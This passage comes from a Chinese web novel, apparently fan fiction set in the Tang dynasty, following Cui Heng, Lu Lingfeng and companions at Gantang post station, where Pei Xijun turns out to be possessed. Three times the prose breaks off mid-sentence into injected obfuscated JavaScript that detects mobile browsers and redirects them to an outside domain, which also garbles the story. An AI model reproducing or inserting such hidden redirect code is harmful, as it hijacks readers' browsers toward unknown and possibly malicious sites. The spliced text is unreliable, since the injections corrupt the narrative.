“那你怎么受了伤,出了这么大事都不告诉我,还说不是把我当外人!枉人家还挂念你,讨厌!” 卢凌风犹豫一下,轻轻拉她的手臂:“我这不是没来得及么……别生气。” “哼!” 卢凌风迅速轻轻地搂了她一下:“下次不会了,什么事都第一时间告诉你,可好?” “这还差不多。” 卢凌风忽然反应过来:“昨天的伤药是你送的?我说伤药的味道很熟悉,是不是上次我帮你敷的那种?” 崔蘅撇撇嘴:“是啊!” 卢凌风摇摇头:“怪不得你疼成那个样子,这药好用,确实也疼,老费下手没轻重,差点疼死我。” 崔蘅终于忍不住笑了:“我都跟他说那个药很疼了。” 卢凌风瞥她一眼:“早就该猜到了,昨夜的皮裘,如此昂贵,那老酒鬼竟能拿出来三条,我就知道是有人在暗中帮忙,但是来人没露面,还以为是怕被我连累……只想暗中帮忙。” 崔蘅微微挑眉:“你难道还认识很多有钱的朋友,除了我还有谁?” 卢凌风被她这种“自知之明”逗笑了,崔蘅道:“对了,我有马车,叫上费神医走吧,你若无明确目的地,与我同行如何。” “这……” “这什么这!这一路上危险重重,如果没重要的事,你就不能跟我同路,保护我一下。” 卢凌风想了想,点头道:“也好,你一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505143|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人去这些地方我也不放心。” 崔蘅笑了笑:“我带了两个护卫的。” 卢凌风一听眉毛都竖起来了:“是可信的护卫吗?长安也不是没有过护卫把主人卖掉的案子。” “他们都是我兄长信任的人,不然他也不会派给我。”崔蘅说完凑近他道:“不过我信任的人,是你。” 卢凌风伸手戳着她的额头推开:“别胡闹。” 他们一行人增加了卢凌风和费鸡师两个人,倒也不用额外多买马车,崔蘅出门带了一马车的东西,费鸡师可以跟货物一辆,卢凌风则坐崔蘅这辆。她的马车里有可以躺下的座位,卢凌风身上的伤没好完全,他最好趴着。 但是没想到,马车走出去没多远,就遇上了打劫的,崔蘅一撩门帘,向外看去,发现并非打劫自己,而是有人在打劫苏无名。而打劫他的那个人,正是师父嘱咐她要杀掉的妖人,阴十娘。 “真是踏破铁鞋无觅处,得来全不费工夫啊,武奇飞洛,还不上去帮忙,抓住那个女的!” “是!” 武奇和飞洛立刻冲了上去,卢凌风听到声音也要下马车去帮忙,被崔蘅按住:“你就别动了,你的伤还没好,他俩能应付的。” 卢凌风犹豫一下,还是听话地没下去,却问:“你在找那个妖人?” “嗯,她用的香,是我们师门的宝贝,我五师兄好心送她的,让她去长安谋份差事,谁知她拿着那香为非作歹,岂非辱我师门。” 卢凌风点点头:“你此次南下,也同你师门有关?” “嗯。” 崔蘅道:“师父让我去找一种名叫烛蛇的异兽之胆,地图上标注的位置是历史上曾有过烛蛇出现的位置。不过我也不知道能不能找到。那天我吃的对抗寒毒的药丸也是师门中其他师兄妹找到的异兽制作,我享受了他人的劳动成果,也得完成师门任务。” 卢凌风点点头:“当该如此。我陪你去。” 崔蘅笑看着他:“好。” 他们说话的间隙,外面战斗已经结束,本来想活捉,可惜那个妖人穷凶极恶,杀了苏无名的仆人,被飞洛失手杀死。苏无名把他的老仆人埋掉之后,崔蘅才知道他这是在去南州的赴任途中。 崔蘅疑惑道:“司马既然是去南州赴任,为何不骑马?好歹也坐辆车吧。” 苏无名无奈叹道:“此为公主的意思,此次赴任不许骑马,不许乘车,苏无名只好步行前去。” 崔蘅转了转眼睛,笑道:“正好我的旅程计划里有一站就是南州附近的一个县,跟我们一起吧。” “这……岂不耽误崔小姐的路程。” 崔蘅道:“那你就上车啊,另外一辆拉货物的车。你这可不叫坐车,上了货车,你就是货物,只是被运到南州而已。快上车。哎不对,货物不能自己上车。武奇飞洛,把苏司马搬到车上去。” “这,这这……这怎么好……两人仁兄,这……” 苏无名一迭声的“这这”中,他被搬到马车上去了。 卢凌风忍不住笑了:“巧舌如簧。” 崔蘅勾唇一笑:“我还玩弄权术,心狠手辣,卢将军怕不怕?” 卢凌风道:“我已经被罢官,哪还是什么将军,莫要再这样叫我。” 崔蘅伸手轻轻抓住卢凌风的衣领,慢慢拉向自己,笑着道:“我都可以是闻香侯,如何不能叫你卢将军?” 卢凌风愣了一下,随即明白过来她的意思,脸涨得通红,用一根手指按住崔蘅的唇瓣:“你给我闭嘴!不许乱说!” ——这他以后万一再听到别人叫他卢将军怎么办,完全没办法不想歪了! 23.上辈子是被劈死的 越往南走天气越潮湿多雨,经常走个两三天就下一场,但是他们也不经常能找到落脚的客栈,好在崔蘅准备的物资充足,她的马车最外面用防雨的布覆了一层,用来挡雨不成问题。 不过一到下雨崔蘅就打不起精神来,这一天下雨时还打了雷,她整个人都蔫蔫的,缩在马车里捂着耳朵装死。 卢凌风从外面掀了马车帘看到她,崔蘅急忙往里面一缩,躲避这突如其来的水雾。卢凌风愣了一下,将蓑衣脱了,这才钻进马车里。轰隆隆的雷鸣声随着他掀开帘子变得大了一些,崔蘅下意识捂住耳朵往角落里钻。 “嗤。” 卢凌风忍不住笑了一声:“你该不是什么妖怪变得吧,这么怕打雷,怕被雷劈?” “我才不是害怕,我只是不喜欢听噪音。” 崔蘅懒懒地回答完,只用毛绒绒的狐裘将自己裹紧,好像喜欢钻箱子的猫猫一样,周身有什么挤压着,崔蘅才会觉得安全。 卢凌风笑了一下,伸手将她搂过来,然后用狐裘把崔蘅紧紧包成一个茧子。崔蘅抬头看他一眼,低头抵着卢凌风的胸口往他怀里钻了钻,恨不得钻进他胳肢窝里去。卢凌风轻轻在她头发上摸两下,外面忽然传来一声惊雷,崔蘅直接跳他腿上去了,狐裘散开一些,她抱着卢凌风的脖子紧紧搂住,吓得闭上眼睛。 卢凌风只好伸手给她把耳朵捂住。崔蘅缓过来一点,小声问道:“你刚才做什么去了?外面下雨,还跑出去……” “我们本来要赶路,但是发现前面的石桥很窄,河水漫上来很高,看起来很危险,我想去看看有没有别的路可以走。” 卢凌风轻轻松开手,低头去看她:“还是等天晴了再走吧。” 崔蘅点点头,抬眼盯着他:“你的伤好了没有?” “已无大碍。” “嗯。” 卢凌风盯着她半晌,见崔蘅鼻头红红的,眼睛里还有点湿,疑惑了一会儿,忽然用手指在她眼睛下面蹭了蹭,小声道:“你刚才不会是太害怕,在马车里偷偷哭过吧?” “我才没有,你少造谣……” 卢凌风笑了一下,低头在她额头上亲亲:“下次叫我。” “可是我不能总黏着你,让你朋友笑话你。” 卢凌风搂着她的腰往怀里紧了紧,忽听崔蘅小声嘀咕:“卢凌风,你怎么香香的。” “嗯?” “你好香,好好闻……” 崔蘅说着便用鼻尖去蹭他的脖颈,然后张开嘴轻轻咬了几下。卢凌风闭了闭眼,轻轻按住崔蘅的后脑:“别胡闹,在外面呢。” 崔蘅盯着他,抬头在他唇上咬下去:“可是……想咬一口,你身上有种让人安心的味道。” 卢凌风忍了又忍,还是没忍住,他抱紧崔蘅将这个吻加深,许久轻喘着抬起头,崔蘅闭着眼睛在他胸口磨蹭,咬住嘴唇小声哼哼几声:“卢凌风……” 卢凌风深吸一口气,只能按着她的后脑:“听话,安分点。” 崔蘅皱紧眉头,卢凌风见她表情不对,抬手摸了摸她的额头,触手微微有些烫,他惊了一下,急忙用狐裘将崔蘅裹紧,问道:“冷吗?” 崔蘅伸手扯着身上的狐裘,对着他摇头,可是她身上分明在微微发抖了,完全不像没事的样子。卢凌风叮嘱她在马车里休息,自己披着蓑衣跳下马车去找费鸡师。 “老费!你快来!” 费鸡师上了马车,卢凌风忙对他说:“知意身上发热,一直在打摆子,你快去看看。” 费鸡师忙为崔蘅摸脉,他有些忧虑地叹口气:“确实是着凉发热,或许这几日天气变化太大所致,这丫头又受到了惊吓,才会低热发烧。” 卢凌风皱了皱眉头:“受惊吓?” ——难道是被打雷吓得?说实话,他一直觉得崔蘅怕打雷只是不喜吵闹罢了,而不是真的会被吓到。毕竟打雷不像那些骇人听闻的东西,让人从心里觉得害怕,他忽略了不同的人害怕得东西不同,崔蘅几乎没有害怕得东西,神经又大条,可她终究也是人,会有畏惧的东西。而且,正如崔蘅所说,卢凌风在面对男女关系时脸皮极薄,怕路上跟崔蘅太亲近被苏无名他们打趣取笑,便有意无意地避嫌,但是没想到这种打雷的天竟然还能把她吓病,早知道就待在马车里陪她…… 费鸡师道:“最好找一处能遮风挡雨的地方休息一晚,有锅有灶的,烧热水也方便。” 卢凌风担心地握着崔蘅的手:“这荒郊野外哪有什么遮风挡雨的地方,前面的路又被一条涨水的河拦住了,我下车检查过,石桥很窄,过不了马车,只能等雨停再找出路。” 苏无名听到这边的动静,从马车上下来:“不能再赶路了。我记得适才路过一座驿馆,虽然看起来破败,但应当有烧热水的地方,至少遮一遮风雨。那驿馆离此处不远,不如回去住一晚,再作他想。” 卢凌风点点头:“我也记得那里,叫……甘棠驿,那便回去暂住一晚。” 崔蘅听到他们的对话,想说自己没事,不必特地走回头路,可是几个人商量完已经果断地做出决定,根本没有给她表态发言的机会了。众人离开后,卢凌风将崔蘅抱到怀里,马车缓缓在雨中行驶起来。 “那处驿馆不远,很快就到。” 崔蘅抬头看看他,缩着肩膀躲进卢凌风怀里:“其实不必特地为我返回……我情况也不严重。” “如今奔波在外,必须谨慎,小病也不能拖延。” 崔蘅慢慢闭上眼睛,此时忽然一声惊雷,将她吓得睡意全无,她几乎条件反射地低低尖叫一声,同时捂住了自己的耳朵。卢凌风急忙抱紧她,轻轻抚摸她的头发:“没事,别怕。” 崔蘅重重吐出口气,扯着狐裘连脑袋一起盖起来,她也知道没事,知道雷电不过是自然现象,但是她更知道,雷电蕴含能量,是能劈死人的。崔蘅永远不能忘记,她上辈子就是这么被雷劈死的。所以尽管躲在马车里,知道它劈不着自己,崔蘅也还是害怕。 “卢凌风。” 许久,崔蘅哽咽着从狐裘里露出一双眼睛:“我应该不是罪大恶极之人吧。” 卢凌风轻轻抚摸她的脸:“当然不是,怎会这般想。” “……”崔蘅嗫嚅着说不出口,对于已经发生过一次的事情,她实在不敢再说。 卢凌风叹口气,捏捏她的脸:“雷不会劈下来的。” 崔蘅像是听到了想听的话,朝他笑了一下,然后慢慢闭上眼睛昏睡过去。 众人如何到了甘棠驿,崔蘅并不清楚,只是迷迷糊糊间好像被人叫醒,给她灌了一碗姜汤。崔蘅睁开眼睛看到费鸡师的脸,便爬起来:“费鸡师?这是哪里?” “这是甘棠驿,快起来喝点姜汤,再睡一觉,明天你肯定就不会再发烧了。” 崔蘅听话地点点头,她对于性命攸关的事情向来听劝,这里可是唐朝,一个小感冒都有可能要了命。 “卢凌风他们呢?” 费鸡师笑呵呵道:“他们啊,住在隔壁房间,不用担心。” 费鸡师刚说完,门外便响起敲门声,费鸡师急忙去开门,结果卢凌风便顺着门缝挤进来,然后重重关上大门。 “知意醒了吗?” “醒了醒了。” 崔蘅端着姜汤一边喝一边举手回答:“睡了一觉好多了。” “什么睡了一觉,昏迷还差不多,睡得完全不省人事。” 卢凌风走到这边拉着费鸡师道:“我看这间驿馆很古怪,夜里警惕些。” 崔蘅吞了吞口水,道:“怎么个古怪法?” 卢凌风道:“那驿卒鬼气森森的,百般推诿,找理由不愿意接待我们,刚刚又来了一伙人,是个什么折冲都尉,带了一队兵,看起来也不像什么好人。等下我去各个房间检查一下,你们夜里睡觉要提高警惕。” 崔蘅看着他,心里微微叹口气——卢凌风如今虽然被罢官,却仍然闲不住,让他随自己去抓什么异兽,是不是对他不太好。崔蘅如此想着,看着他笑着点点头:“好。” 卢凌风走后,崔蘅笑着跟费鸡师说:“费神医,我觉得我好多了,苏司马住在哪里?我有话想对他说。” 费鸡师道:“他住在右厢房,我同你一起去吧。” 崔蘅点点头:“也不知他是否已经睡下了。” “嗐,那叫他起来便是。” 崔蘅愣了下,忍不住笑起来:“那好吧。” 苏无名果然也还没睡,崔蘅对他行了一礼:“苏司马,叨扰了。” 苏无名急忙请她进屋坐:“崔小姐深夜来访不知何事?” 崔蘅抿了抿唇,道:“其实是关于卢凌风的事,在长安时,他被太子赶出来,我怕他没事做,真的去闯荡什么江湖,就喊他跟我一起出外游历。可是我毕竟是个女子,又无官身,跟我游历与流落江湖也没什么区别。我看得出卢凌风对刑案一事颇感兴趣,且他一直想在朝堂建功立业,不若让他跟着你吧,你是去南州赴任的,有什么案子,他还能参与参与。否则……时间长了,我觉得他会不开心。” 苏无名大约没想到崔蘅会说出这种话,惊讶道:“虽然未曾问过,苏无名也看得出,你们二人关系匪浅,难道不希望他陪着你吗?” 崔蘅忍不住笑了笑:“此情若是久长时,又岂在朝朝暮暮。我不想依附任何人,也不会把爱人捆在身边,我们各自都有要去做的事,等我找到想要的东西,自会去南州找他。” 苏无名惊讶过后了然笑道:“崔小姐真是与众不同,苏无名佩服。在下其实也有此意,卢凌风有大才,发挥在朝堂上,才是百姓之福。” 崔蘅说完这一番话之后,便回到自己房间,她将灯点上,把之前查阅的有关甘棠县的资料拿出来看。甘棠县算是个贫困县,穷山恶水,山上多蛇虫。这里主要的问题还是交通不发达,山上还有一些猛虎、毒蛇出没,以山为生的民众深受其扰,每年死于猛兽之口者众。 崔蘅在现代时,保护自然的观念深入人心,但是当她来到古代,却发现在经济腾飞之前,面对未知的自然时,首要不该是保护,而应是“开发”,古代人生产力底下,根本无力抵御来自大型猛兽的攻击,这种情况下再提什么保护自然就有点不自量力了,从来没听说过身为食物要去保护捕猎者的。所以若有受猛兽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515599|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之苦得地方,崔蘅首先便是要组织人把此地的猛兽驱逐或者猎杀,没有干扰因素之后,才能对自然资源进行开发。 崔蘅的想法在现代看来或许有些残忍,这是没办法的,生物与生物之间本来就是竞争关系,她不去杀那些凶恶的野兽,难道让治下子民成为猛兽的口粮? 不过,尽管出发前曾经让崔璋帮她写了推荐信,却不知本地县令是否会采纳她的建议。 崔蘅正在想着,忽听外面吵闹了起来,她听了一阵,从房间里走出来,站在二楼向下看去。楼下果然来了很多士兵,为首那个穿铠甲的应当就是卢凌风所说的折冲都尉。 不过他们怎么吵起来了? 崔蘅默默听了许久,终于听明白,卢凌风在检查房间时,竟然救下了裴喜君,更叫人震惊的是,裴喜君是这折冲都尉绑来的。崔蘅在一旁听着都觉得气,这狗官,竟然随意抓良家女子淫乐,与贼寇何异,别说卢凌风这种热血笨蛋忍不了,崔蘅稍微有点人性的都忍不了,她现在就想扒了他的皮。 崔蘅正面无表情地盯着楼下众人,那折冲都尉忽然察觉到什么似的,往她的方向看来,一看之下便呆住了。 崔蘅本就是昳丽的长相,她的容貌便在美女如云的长安都算顶尖绝色,更别说在甘棠这种穷乡僻壤。那人直直盯着楼上的崔蘅,喃喃道:“仙、仙女……” 卢凌风顺着他的视线一看,顿时大怒,拔枪便要刺:“你这狗官乱看什么!小心你那对招子!” 苏无名吓得急忙拉住他,崔蘅此时也不好继续旁观,运起轻功从楼上飞身而下,轻飘飘地落在卢凌风身边。那折冲都尉看得眼珠子都快瞪出来了,他身边一众兵士,面上皆是惊艳。卢凌风下意识把崔蘅往身后挡,眉头皱得能夹死只苍蝇。 崔蘅轻轻握了握卢凌风的手臂,先看着这折冲都尉:“这么热闹,你们在说什么呢?” 卢凌风刚要开口,被苏无名抢去话头:“是误会,误会啊,都尉在居然遇到裴小姐,一句护送,被卢凌风以为是强抢了来。” 卢凌风还想争辩,崔蘅手下微微用力,握紧他的手腕,不让他继续说话:“原来是喜君妹妹,她也来南州了。” 崔蘅说完朝那都尉笑了笑,上前两步:“我与喜君妹妹在长安时便是朋友,没想到竟与都尉有此等缘分,不知她现在何处?能否见上一面?” 那都尉急忙点头应下:“自然,自然……看在这位仙女的份上,在下自然愿意引见。” 卢凌风快炸了:“你还说!” 他听得出来这折冲都尉话中轻佻之意,联想到他是何等人物,自然生气,崔蘅却垂了垂眼睛,对卢凌风使个眼色——她可不是那种能被人白调戏的人。 折冲都尉已经懒得理会卢凌风了,上前抱拳行礼:“敢问小姐芳名?在此荒山野驿,相遇也是缘分。” 崔蘅笑了笑:“我叫崔蘅。” 对方愣了一下:“崔……是清河崔氏的崔?” “然也,既然都尉听过清河崔氏,应当也听过清河崔氏出了个家族叛逆吧。” 崔蘅上前一步,向前倾着身体,她身上幽幽的体香传来,原本该叫人神魂颠倒,那都尉却被她接下来的话吓得腿软:“监察右丞崔璋,是我哥哥。都尉可不要想对我们用强啊,这里任何一个人有一点闪失,你们所有人,都别想活到月底。” 因崔蘅站在最前面,后面几人都没看清她做了什么,崔蘅却是趁着众人没注意时,向他亮了一眼掌心的牌子。阴沉木雕刻,黄铜浇筑,令牌上只有四个字——黑甲敕令。若文官最怕的是监察右丞,那武官最怕的就应该是传说中的黑甲卫,这支卫队隶属于谁倒不清楚,只知道一旦得罪了他们,就算逃到天涯海角也没用。 那折冲都尉恰是见识过黑甲卫的人之一,他下意识看了一眼站在不远处的武奇和飞洛,那两人穿的正是黑甲卫装束,他顿时吓得冷汗直窜。那折冲都尉向后退了一步,立刻道:“不敢不敢,于某得罪,望小姐海涵,我们这就走,这就走。” 崔蘅挑挑眉,把令牌收了起来,那都尉转身就想跑,崔蘅冷冷看着他:“慢着,我也不是那么不近人情的人,你跪下给我磕个头道个歉,今晚就住在这。” 于都尉脸涨得通红,只一迭声道:“不必不必,我们这就走……” “我说让你们住在这!你是没听懂吗?” 崔蘅说完,武奇和飞洛双双拔出佩刀,那都尉带的一行人也要拔刀,却被他厉声喝止。 他这次终于听懂了,崔蘅不是让他住在这,是让他跪下磕头道歉。那都尉也是能屈能伸之人,纳头便拜,拜完还给自己找补:“今日能拜小姐,是于某三生有幸,告辞!” 那些人都离开之后,崔蘅笑着走过去拉住卢凌风:“你救的人呢?” 卢凌风道:“我让他们暂且在外面林子里等候。” 苏无名奇怪地问:“卢将军,裴小姐为何会来到南州?” 崔蘅也疑惑地朝他看过去,卢凌风顿时一脸尴尬,强行将将视线移开,不与她对视。崔蘅想了想,道:“先把人接到这里再说吧,外面这么黑,裴小姐在林中等候也不安全的。” 24.卢凌风被断袖盯上了? 卢凌风将裴喜君带回来时,还带回来一个男孩子,是裴喜君的小奴,一路上保护她的。崔蘅感到很不可思议,她好歹也是官家小姐,裴侍郎官居四品,连个像样的护卫都派不出吗?就连她这种江湖上闯荡惯了的人,出门还得带两个黑甲卫才能放心,裴小姐怎么这么想不开啊。 唐朝不比现代,路上不仅有劫道的,还有人口拐卖的,要不古时候大家怎么都不愿意经商跑船,就是因为有风险,专门劫掠商人的匪寇太多,更有甚者连落单的官家人都不放过,一个女子竟然孤身一人跑到这种地方,只被那个折冲都尉抓住,都算她幸运。 裴喜君进了驿站之后,本还表现的挺正常,看到崔蘅却面露惊讶,随即变得厌恶:“你是何人?!” 崔蘅呆了呆,指着自己问道:“裴小姐是问我吗?” 裴喜君冷哼一声:“不然呢,我可不记得有你这号人物。” 崔蘅被裴喜君的态度搞得有些尴尬,她还以为是自己女扮男装与她相见让她生气,便耐下心来解释:“其实我们见过,那日同喜君小姐见面的人是我,但是我报了自己孪生哥哥的名字……你那画上之人,乃是我的男装。实在对不住,裴小姐,关于这件事我当日便同你解释清楚了,若你还是生气,我可以再郑重道歉。” 卢凌风一把拉住崔蘅的手,皱眉将她拉过来一点:“何必再道歉,你都道过多少次歉了。” 裴喜君听到这里脸都黑了:“谁叫你多管闲事!原本跟我见面的应该是卢凌风!” 崔蘅直接愣住,卢凌风也愣了一下——这……她是怎么知道的? 裴喜君却没给他们询问的机会,走上前几步,看着卢凌风:“我此次南下正是追随卢将军而来,长安红茶案中多亏卢将军救我一命,我才能活下来,多番感谢卢将军都不应,我只好亲自跟来了。” 卢凌风十分尴尬,并没有看她,道:“救人是我分内之事,裴小姐不必太在意。更何况卢某与小姐并不熟识,切勿再提什么追随……裴小姐,还是早日返回长安吧。” 苏无名和费鸡师在旁边安安静静看了半天的戏,苏无名终于开口:“裴小姐一个人回去,还是有些危险,卢凌风,不然……你护送她回去?” 崔蘅惊讶地看着苏无名,觉得他应该不会说出这种没水平的话才对,怎么会这么讲话?卢凌风果然怒了,也顾不上还要委婉一些:“我送不了,我是被太子赶出长安的,若再回去,便是抗命!苏无名,你想让我死吗?!” 他说完转到崔蘅身后,让她挡着自己,他只侧脸面向裴喜君的方向,整个人都处在炸毛状态。 “崔蘅!你看什么戏,还不帮忙!” 崔蘅知道卢凌风救人只是单纯为了救人,不管遇到危险的是老妪还是少女,乞丐还是贵人,他都会去救。不过这位裴小姐,似乎也不像被他救了一命就要以身相许。 更像是从一开始就冲卢凌风来的。 崔蘅挑挑眉:“今天天也晚了,不去裴小姐先在此休息一晚,明日再做打算。” 裴喜君没接话,反而左右看看,问道:“那个折冲都尉呢?” 崔蘅以为她害怕,便倒:“他们已经走了。” “什么?!” 崔蘅疑惑地看着她,裴喜君道:“已经走了?!那我的高光时刻怎么办?!” 崔蘅完全听不懂她说话,而且这次交流下来,崔蘅觉得她很怪异,与初次同她见面的裴喜君给她的感觉很不一样。之前那个裴小姐,虽然也是天真烂漫,但感觉就是古代的大家小姐样子,好歹知礼守节,这个……怪异,还总是自言自语,说一些他根本听不懂的话。最怪异的就是,她为什么会知道原本要替萧伯昭见面的是卢凌风呢? 崔蘅正在思索,忽然觉得袖子被人扯了两下,一回头发现苏无名正在朝她使眼色。崔蘅转了转眼睛,轻咳一声:“裴小姐,先休息吧,折腾了一晚上大家都累了,一切等明日再说。” 裴喜君似乎很不满,见卢凌风跟着崔蘅上楼,更不满了,大声道:“卢凌风!你为什么跟着她?!你们什么关系?!” 卢凌风闻言头都没回,直接越过崔蘅,大跨步往自己房间走去,像有鬼在后面追他似的。崔蘅倒是回头看了裴喜君一眼,她站在楼梯口那里,定定地看着裴喜君,后者则愤怒地瞪着崔蘅,崔蘅忽然笑了一下:“裴小姐,你近前来,我同你说我们是什么关系。” 裴喜君直接上前,她身边的小奴却拉住她:“小姐!别过去!我们还是走吧……” “不要你管!” 她噔噔噔几步来到楼梯口,愤怒地冲崔蘅道:“你想怎么样!” 崔蘅没回话,直接扬手往她脸上撒了一把紫色粉末。那些粉末闪着银光,在空气中飘散开,如烟雾一般美丽。 裴喜君愣了一下,随即往后仰倒,若非她的小奴就在她身边站着,扶住了她,裴喜君就跌在地上了。那小奴怒目瞪着崔蘅:“你对我家小姐做了什么?!” “别紧张,让你家小姐好好休息一下罢了。这里空房间还挺多的,你随便找一间睡吧,若没钱付,算我的。” 崔蘅就站在那里目送着裴喜君被人带走,冷冷地盯着她的背影,苏无名此时才上前问道:“可看出有何异样?” 崔蘅笑了笑,转身上楼去了——一体双魂,崔小姐身体里,竟然有两个魂魄。 适才崔蘅刚刚冲她撒出的粉末不是迷药,而是驱邪的紫菱粉,不过这种粉在师门中向来最不受大家重视,这么多年都没人遇见个鬼啊,邪物的,出远门时候随身抓一把带着,以防万一。崔蘅刚刚想了半天,裴小姐这这日子性情大变,崔蘅便在想,会不会她真这么倒霉,撞鬼了。 不过这吧粉撒下去结果倒让崔蘅犹豫起来,正常来说一般会有两种情况,一是对方毫无反应,二是确实被恶鬼缠身,那就会原地发疯,只要挤出她的中指血,便能克制。可是她直接晕了……说明进入裴喜君身体里的魂魄,并非恶鬼,甚至于这具身体也并不排斥它,这是什么原因呢? 这种事崔蘅并不打算同苏无名说,说真的,若非她自己都是个穿越来的异世之人,她也不会相信有鬼魂一说。 这一晚过得十分不太平,于都尉一行人虽然畏惧崔蘅未敢轻举妄动,但是据卢凌风说,他在抓裴喜君之前就已经抓了一个女子,抓了裴喜君之后,竟然将那女子扔下悬崖。既然这于都尉暂且被按在驿站内,不如先去报官,到时候把那群贼人一起抓起来。崔蘅对缉捕罪犯是没有这么强的责任心,她准备留在驿馆里,试着能不能对付一下那个钻进裴喜君身体里的魂魄。 卢凌风一听崔蘅打算留在这里,也不肯离开,让苏无名同费鸡师一起去报案,若发生意外,他还能应付。崔蘅笑道:“武奇飞洛都在这里,难道还怕他们保护不过来?” 卢凌风皱眉:“不行,那个于都尉带了那么多人,他此刻是被你吓住了,一旦要同你鱼死网破,他们两个如何应付得来。” 崔蘅只得同意,将苏无名送走之后,崔蘅凑到卢凌风身边盯着他问:“你是担心我,还是担心发生危险,我保护不了裴小姐?” 卢凌风愣了一下,皱眉道:“你这是什么意思?” 崔蘅挑挑眉:“你难道不清楚我什么意思?裴小姐一介女流,为了追随卢将军不远万里从长安追到这里,我作为一个局外人都十分动容,卢将军难道可以无动于衷?” 卢凌风瞥她一眼,一副懒得搭理的样子,崔蘅见他如此,十分疑惑,跑到他面前抱着手臂质问道:“你都不解释一下吗?” 卢凌风拿起她桌上的书翻起来:“这是你写的?” “……喂!” 卢凌风一边看一边道:“我又不认识那位裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518448|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐,有什么好解释的。更何况……我若解释了,岂不中了你的全套。” 崔蘅老喜欢逗他玩,逗多了,卢凌风都能一眼看出她在期待他的反应了,无趣得很。 崔蘅瞥他一眼,撇嘴:“那我今晚就去找你的裴小姐!” 卢凌风奇怪地看她一眼:“找她做甚?” “找她麻烦!我去给她驱鬼!” 卢凌风那表情都想翻白眼了,看着看着道:“你这书倒是写得挺有意思,来这里之前做了很详细的调查嘛。” “……我真去了!” 卢凌风头都不抬:“带上护卫。” “……” 崔蘅当天晚上真的去了裴喜君房里,他那个小奴见她带了两个护卫站在门口,死活不让他们进来。崔蘅挑挑眉:“若不想你家小姐有事,就立刻让开。” “你……你们,到底想做什么?!” 崔蘅也懒得跟他解释,指挥身后二人:“把他拖出去,别让他打扰我们。” 武奇飞洛立刻听话的上前,一人拎着那小奴一条胳膊,直接将人拽了出去。崔蘅则从里面锁住房门,冲到裴喜君面前,见对方似乎还在昏睡,眼皮底下的眼球却不断震战滑动,像在做噩梦似的。崔蘅低头一看,见她眼睛上还沾着少许紫菱粉,立刻将所有的粉末掏出来。一大袋对着裴喜君的脸倒了下去,连同她的身体、四肢,通通用药粉涂抹个遍。床上的裴喜君猛地一阵抽搐,然后突然从床上坐了起来,仿佛溺水之人,忽然呼吸到新鲜空气。 裴喜君坐在床上呆愣许久,看向一旁的崔蘅,然后慢慢开口:“难道……我是在做梦?” 崔蘅皱眉坐到她身旁:“喜君小姐?你是裴喜君吗?真正的裴小姐?” 裴喜君听她此问,顿时流下泪来:“你如何知道,我被那恶魂夺了身体?” 裴喜君接下来讲述了她近段时间发生的离奇事情,原来早在长安时,她便发现自己身体里住进了一个魂魄,最初她总听到声音在耳边念念叨叨,还以为是幻听,到后来,那魂魄居然完全占据了她的身体,还做出一些匪夷所思的事情。比如在父亲宴请是冲进去,指着画像上那人要与之结婚,凡此种种,就连普通家庭教养长大的女子都做不出的出格之事,竟然发生在她这等高官之女,世家小姐身上,简直令她羞恼不已,无地自容。 “那画上之人其实是我。” 崔蘅看着她道:“那日代替萧将军见面的人其实是我,崔璋是我的孪生哥哥……裴小姐,实在对不住。” 裴喜君笑了笑:“崔小姐的这些解释,其实我都听到了,谢谢崔小姐对我的回护之意。” “哪里,这是应该的。对了,你刚刚说那个恶魂在你脑海里嘀嘀咕咕,它都嘀咕些什么?” “他一直在说卢凌风,卢凌风……好似,好似对卢凌风这个人很在意。不过我敢确定,他根本不知道卢凌风是何模样。” 崔蘅惊讶道:“哦?为何?” ——本来还以为是卢凌风哪里不小心招惹的桃花债,可是若连他长什么样都不知道,怎么招惹上的? 裴喜君道:“应该说,他是见到卢凌风时,才确定那人是卢凌风。因为他最初对着我画的画像一直念叨卢凌风在这个地方竟然长这样……甚至以为画上的就是卢凌风。但是当卢将军真的出现在我面前,他才能完全确定,我的画根本不是卢将军。” 崔蘅皱起眉头沉思起来,裴喜君犹犹豫豫看她一眼,崔蘅道:“怎么?还有什么?但说无妨。” 裴喜君有些难以启齿地道:“我……虽然没见过那个恶魂,可是,感觉……好像是个男子。” “哈?” 裴喜君大眼睛转啊转,微微垂下眼睛:“他的声音……像个男子。” 崔蘅忍不住捂住脸——救命啊,卢凌风这次是真的被死断袖盯上了。 25.废一善则众善衰 崔蘅并不知道把这恶魂从裴喜君身体里驱逐出去的办法,只能将紫菱粉收起来,让她随身携带,一旦出现任何问题,便往自己身上抹一把。 